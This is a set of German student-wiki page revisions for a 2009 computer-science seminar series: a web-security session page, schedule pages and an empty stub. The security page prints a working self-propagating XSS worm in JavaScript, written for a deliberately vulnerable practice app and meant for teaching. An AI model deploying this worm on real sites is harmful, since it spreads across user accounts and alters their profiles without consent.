Fachschaft Informatik - Benutzerbeiträge [de]

KunterBuntesSeminar-SS09/(Un)Sicherheit in Webanwendungen

2009-11-19T22:47:12Z

91.3.122.38: section "seminarvortrag" entfernt

Das ist der 5. Termin vom [[KunterBuntesSeminar-SS09]]

= Abstract =
Ich möchte euch die Grundlagen der Sicherheit in Webanwendungen erläutern und dabei typische Schwachstellen aufzeigen. Es wird darum gehen, wie man diese verhindert, aber auch ausnutzen kann. Das Ausnutzen der Schwachstellen werden wir interaktiv an einer präparierten Webanwendung üben um so das Gelernte zu festigen. Der Vortrag wird ein wenig PHP-lastig sein, dieses ist zwei Umständen geschuldet: Erstens sind die meisten Webanwendungen in PHP geschrieben und zweitens macht PHP es den Programmierern sehr leicht sich selbst ins Knie zu schiessen.

Auch wenn du keine Vorkenntnisse hast und dir Begriffe wie "PHP", "HTTP" oder "SQL" nichts sagen, keine Panik, es wird alles von 0 an erklärt.

== Vortragende ==
Henning (8pridoeh):
Fragen zum Thema beantworte ich gerne. Ihr findet mich hin und wieder im c.t. oder anderswo in der Gegend.

= Folien/Material =
Folien: [[Bild:Sicherheit in webapplikationen.pdf]]

Präparierte Webanwendung: [[Bild:Stasivz.tar.gz]]

XSS-Wurm: <pre>hacked<script>(function(){a=new XMLHttpRequest();
a.open('POST','index.php?page=editprofile',true);
a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
a.send('change_profile=1&movie=hacked<script>('.
concat(escape(arguments.callee.toString().concat(')();</scr').
concat('ipt>')))); })();</script></pre>
(Zeilenumbrüche vorher entfernen)

= Weiterführende Links =
Firefox-Addons:
* [https://addons.mozilla.org/en-US/firefox/addon/60 Web Developers Toolbar]
* [https://addons.mozilla.org/en-US/firefox/addon/966 Tamper Data]
* [https://addons.mozilla.org/de/firefox/addon/3899 Hackbar]
* [https://addons.mozilla.org/de/firefox/addon/3829 Live HTTP Headers]
Cheat Sheets:
* [http://ha.ckers.org/xss.html XSS Cheat Sheet]
* [http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ SQL Injection Cheat Sheet]

[[Kategorie:KunterBuntesSeminar]]

KunterBuntesSeminar-WS09

2009-11-01T23:02:26Z

91.3.122.81: fixed type: Temine -> Termine, leichteren hintergrund

Das ist die Seite von dem [[KunterBuntesSeminar|KunterBuntenSeminar]] im [[Termine_WS_09/10|Wintersemester 09]], welches das dritte Semester ist, in dem es stattfindet.

<div style="font-size:1.5em; border:2px solid #d00; background:#edd; padding:0.3em; margin:1em;">Die Hosts für die nächsten Termine gehen langsam aus! Erkläre DU dich bereit, den Hosts für einen der Termine zu machen. Lies die [[KunterBuntesSeminar/Aufgaben_des_Hosts|Aufgaben des Hosts]] und trag dich einfach unten in die Liste ein. Danke!</div>

== Termine ==
Das [[KunterBuntesSeminar|KunterBunteSeminar]] findet jeden '''Donnerstag''' um '''17:00 Uhr - 19:00 Uhr''', in '''Raum C-221''' statt. Du bist herzlich eingeladen zu kommen :)

Es gibt eine [http://agenda.mafiasi.de/kunterbuntesseminar/ Terminuebersicht] und eine iCal [http://agenda.mafiasi.de/kunterbuntesseminar/calendar.ics Datei] zum abonnieren.

Solltest du einen neuen Termin erstellen, schreibe dein Abstract bitte in der dritten Person, sodass sich davon einfach eine Email generieren laesst.

=== Themen ===
; 22.10.2009: 4stuebs, 7licina, 3girlich - Host: 7fietkau - [[KunterBuntesSeminar-WS09/Leben in und mit der Uni|Leben in und mit der Uni]]
; 29.10.2009: 6keitzel - Host: bjoernb - [[KunterBuntesSeminar-WS09/Workshop Rechnerbenutzung|Workshop Rechnerbenutzung]]
; 05.11.2009: 4winter - Host: 8pridoeh - [[KunterBuntesSeminar-WS09/Einführung in Python|Einführung in Python]]
; 12.11.2009: 2burmest - Host: 8pridoeh - [[KunterBuntesSeminar-WS09/Bewusstsein|Bewusstsein]]
; 19.11.2009: 7fietkau - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Erste Schritte mit LaTeX|Erste Schritte mit LaTeX]]
; 26.11.2009: 7kraemer - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Windows nach Linux (wieso/weshalb/warum - womit fange ich an?)|Windows -> Linux (wieso/weshalb/warum - womit fange ich an?)]]
; 03.12.2009: Lighting Talks - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Lightning Talks|Lightning Talks]]
; 10.12.2009: 4winter, bjoernb, 3girlich - Host: t.b.a. - [[KunterBuntesSeminar-WS09/CryptoCampagne|CryptoCampagne]]
; 17.12.2009: alle - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Nerdkultur|Nerdkultur]]
; 14.01.2010: bjoernb - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Versionierungssysteme|Versionierungssysteme]]
; 21.01.2010: 3girlich - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Getting Things Done: Selbstorganisation|Getting Things Done: Selbstorganisation]]
; 28.01.2010: 3girlich, 5zwick, 5handler - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Auslandsstudium|Auslandsstudium]]
; 04.02.2010: Orga - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Plenum|Plenum]]

== Themenvorschlaege ==

Der Schwerpunkt soll dieses Semester zuerst auf OE Themen liegen, da sich das KBS als verlaengerte OE sieht. Im Verlauf sollen dann breitere Themen behandelt werden.

Generelle Ideensammlung [[KunterBuntesSeminar/Ideen|Ideen]]

=== Studienberatung ===
* Auslandsstudium
* wissenschaftliches Arbeiten
* HoPo: FSR => fsr, oe-selbstverwaltung
* Ergänzungsfächer => oe-nebenfach
* Teilzeitstudium
* Rechtliches, z.B. Studiengebühren
* externe Angebote an der Uni:
** Unisport, Sprachkurse (Fachsprachenzentrum)
** KulturAStA
** Beratungsangebote
* Stellingen Intern: Arbeitsbereiche, Profs, c't, was du noch nicht über das FBI wusstest
* Getting Things Done: Selbstorganisation => extern matthias mayer?
* Verantwortung/FifF => oe-verantwortung
* Berufsausblick

=== grundlegende Computerkenntnisse ===
* HowTo Rechnerbenutzung: SSH, Drucken, Tunnel => oerb
* LaTeX
* GNUPG
* Versionierungssysteme
* [[KunterBuntesSeminar-WS09/Win-vs-Linux|Windows -> Linux (wieso/weshalb/warum - womit fange ich an?)]] => [[Benutzer:Tim|Tim]]
* Webentwicklung mit Python (Django?)
* howto ubercoder // motivation python (Justus)

=== Hacking ===
* FreeCulture
* AK Vorrat
* Hacker Jeopardy
* Nerdkultur
* Externe Referenten: CCC, ...
* Hackerkino: 23, Lücke im System, ...
* CInsects => CInsects
* Freifunk Workshop (BYOL)

=== Code ===
* Java EE (wunsch kam im Forum auf: https://www.fb18.de/mybb/showthread.php?action=newpost&tid=10828)

== Materialien ==
=== Web ===
* [[KunterBuntesSeminar/ChecklisteSeminar|Checkliste für Referenten]]
* [[KunterBuntesSeminar/Aufgaben des Hosts|Aufgaben des Hosts]]

=== Print ===
Hier gibts Plakat- und Flyervorschläge, die dann hoffentlich gedruckt und verteilt werden.

* Plakat

== TODOs ==
* [ ] Studis nach Inhalten fragen
* [x] woechentlichen Termin finden: Donnerstags 17 Uhr in C-221
* [ ] potentielle Referenten anschreiben
* [ ] Vortraege reihen
* [1/2] j* und MafiA einladen
** [x] Mail zum Planungstreffen ist raus
** [ ] Einladung für Ertsemester

[[Kategorie:KunterBuntesSeminar]]

KunterBuntesSeminar-WS09/Bewusstsein

2009-11-01T16:53:54Z

91.3.122.81: seite angelegt

Das ist der vierte Termin des [[KunterBuntesSeminar-WS09|KunterBunten Seminars]] im Wintersemester 2009.

= Abstract =
* FIXME

= Seminarvortrag =
* FIXME

= Folien/Material =
* FIXME

= Weiterführende Links =
* FIXME

[[Kategorie:KunterBuntesSeminar]]

KunterBuntesSeminar-WS09

2009-11-01T16:47:54Z

91.3.122.81: host für den vierten termin, hinweis hostsuche

Das ist die Seite von dem [[KunterBuntesSeminar|KunterBuntenSeminar]] im [[Termine_WS_09/10|Wintersemester 09]], welches das dritte Semester ist, in dem es stattfindet.

<div style="font-size:1.5em; border:2px solid #d00; background:#dcc; padding:0.3em; margin:1em;">Die Hosts für die nächsten Termine gehen langsam aus! Erkläre DU dich bereit, den Hosts für einen der Temine zu machen. Lies die [[KunterBuntesSeminar/Aufgaben_des_Hosts|Aufgaben des Hosts]] und trag dich einfach unten in die Liste ein. Danke!</div>

== Termine ==
Das [[KunterBuntesSeminar|KunterBunteSeminar]] findet jeden '''Donnerstag''' um '''17:00 Uhr - 19:00 Uhr''', in '''Raum C-221''' statt. Du bist herzlich eingeladen zu kommen :)

Es gibt eine [http://agenda.mafiasi.de/kunterbuntesseminar/ Terminuebersicht] und eine iCal [http://agenda.mafiasi.de/kunterbuntesseminar/calendar.ics Datei] zum abonnieren.

Solltest du einen neuen Termin erstellen, schreibe dein Abstract bitte in der dritten Person, sodass sich davon einfach eine Email generieren laesst.

=== Themen ===
; 22.10.2009: 4stuebs, 7licina, 3girlich - Host: 7fietkau - [[KunterBuntesSeminar-WS09/Leben in und mit der Uni|Leben in und mit der Uni]]
; 29.10.2009: 6keitzel - Host: bjoernb - [[KunterBuntesSeminar-WS09/Workshop Rechnerbenutzung|Workshop Rechnerbenutzung]]
; 05.11.2009: 4winter - Host: 8pridoeh - [[KunterBuntesSeminar-WS09/Einführung in Python|Einführung in Python]]
; 12.11.2009: 2burmest - Host: 8pridoeh - [[KunterBuntesSeminar-WS09/Bewusstsein|Bewusstsein]]
; 19.11.2009: 7fietkau - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Erste Schritte mit LaTeX|Erste Schritte mit LaTeX]]
; 26.11.2009: 7kraemer - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Windows nach Linux (wieso/weshalb/warum - womit fange ich an?)|Windows -> Linux (wieso/weshalb/warum - womit fange ich an?)]]
; 03.12.2009: Lighting Talks - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Lightning Talks|Lightning Talks]]
; 10.12.2009: 4winter, bjoernb, 3girlich - Host: t.b.a. - [[KunterBuntesSeminar-WS09/CryptoCampagne|CryptoCampagne]]
; 17.12.2009: alle - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Nerdkultur|Nerdkultur]]
; 14.01.2010: bjoernb - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Versionierungssysteme|Versionierungssysteme]]
; 21.01.2010: 3girlich - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Getting Things Done: Selbstorganisation|Getting Things Done: Selbstorganisation]]
; 28.01.2010: 3girlich, 5zwick, 5handler - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Auslandsstudium|Auslandsstudium]]
; 04.02.2010: Orga - Host: t.b.a. - [[KunterBuntesSeminar-WS09/Plenum|Plenum]]

== Themenvorschlaege ==

Der Schwerpunkt soll dieses Semester zuerst auf OE Themen liegen, da sich das KBS als verlaengerte OE sieht. Im Verlauf sollen dann breitere Themen behandelt werden.

Generelle Ideensammlung [[KunterBuntesSeminar/Ideen|Ideen]]

=== Studienberatung ===
* Auslandsstudium
* wissenschaftliches Arbeiten
* HoPo: FSR => fsr, oe-selbstverwaltung
* Ergänzungsfächer => oe-nebenfach
* Teilzeitstudium
* Rechtliches, z.B. Studiengebühren
* externe Angebote an der Uni:
** Unisport, Sprachkurse (Fachsprachenzentrum)
** KulturAStA
** Beratungsangebote
* Stellingen Intern: Arbeitsbereiche, Profs, c't, was du noch nicht über das FBI wusstest
* Getting Things Done: Selbstorganisation => extern matthias mayer?
* Verantwortung/FifF => oe-verantwortung
* Berufsausblick

=== grundlegende Computerkenntnisse ===
* HowTo Rechnerbenutzung: SSH, Drucken, Tunnel => oerb
* LaTeX
* GNUPG
* Versionierungssysteme
* [[KunterBuntesSeminar-WS09/Win-vs-Linux|Windows -> Linux (wieso/weshalb/warum - womit fange ich an?)]] => [[Benutzer:Tim|Tim]]
* Webentwicklung mit Python (Django?)
* howto ubercoder // motivation python (Justus)

=== Hacking ===
* FreeCulture
* AK Vorrat
* Hacker Jeopardy
* Nerdkultur
* Externe Referenten: CCC, ...
* Hackerkino: 23, Lücke im System, ...
* CInsects => CInsects
* Freifunk Workshop (BYOL)

=== Code ===
* Java EE (wunsch kam im Forum auf: https://www.fb18.de/mybb/showthread.php?action=newpost&tid=10828)

== Materialien ==
=== Web ===
* [[KunterBuntesSeminar/ChecklisteSeminar|Checkliste für Referenten]]
* [[KunterBuntesSeminar/Aufgaben des Hosts|Aufgaben des Hosts]]

=== Print ===
Hier gibts Plakat- und Flyervorschläge, die dann hoffentlich gedruckt und verteilt werden.

* Plakat

== TODOs ==
* [ ] Studis nach Inhalten fragen
* [x] woechentlichen Termin finden: Donnerstags 17 Uhr in C-221
* [ ] potentielle Referenten anschreiben
* [ ] Vortraege reihen
* [1/2] j* und MafiA einladen
** [x] Mail zum Planungstreffen ist raus
** [ ] Einladung für Ertsemester

[[Kategorie:KunterBuntesSeminar]]